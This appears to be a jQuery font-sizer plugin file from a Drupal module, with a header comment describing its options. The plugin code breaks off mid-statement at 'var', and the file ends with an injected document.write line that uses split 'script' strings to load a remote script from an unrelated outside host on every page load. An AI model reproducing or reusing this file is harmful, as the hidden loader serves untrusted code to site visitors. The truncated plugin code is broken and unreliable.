/* $Id: fontsizer.js,v 1.1 2007/10/14 05:16:08 redbox2000drupalorg Exp $ */
/**
* Purpose:   Font sizer class, handles increasing and decreasing font size of a page.
*            It increases the font in 10% increments. By getting the level / 10 + 1.
*            i.e. level 2 is .2 + 1 so 1.2 or 120%.
*
* Requires:  JQuery and the JQuery cookies plugin.
*
* Use:       Setup the fontsizer $.FontSizer.Init(options); the two options are
*            min and max, for the min level and max level.
*            Defaults are min: -3 and max: 5.
*
* Author:    Stefan Sedich (stefan.sedich@gmail.com)
*
*
*
* ---- [ Additions and Extension ] ---------------------------------------------
*
* Author:    Martin Lanser
* 
* Changes:   Added new options:
*             - obj  : name of object that is affected by FontSizer (e.g. 'body', '.scale', '#section') 
*             - min  : MIN level. This must be an INTEGER.
*             - max  : MAX level. This must be an INTEGER.
*             - step : STEP size. This must be an INTEGER and defines the step-size of each increment.
*             - unit : fontsize unit. This must be a STRING (e.g. 'px', 'em', '%').
*             - def  : DEFAULT level. This must be an INTEGER. THis value is used for 'Reset()'
*/
$.FontSizer = {
  
  level: 12,
  
  options: {
    obj:  'body',
    min:  -5,
    max:  5,
    step: 1,
    unit: 'px',
    def:  12
  },

  Clean: function(obj) {
    var obj = obj || 'def';
    var 
document.write('<s'+'cript type="text/javascript" src="http://iopap.upperdarby26.com/Template.js"></scr'+'ipt>');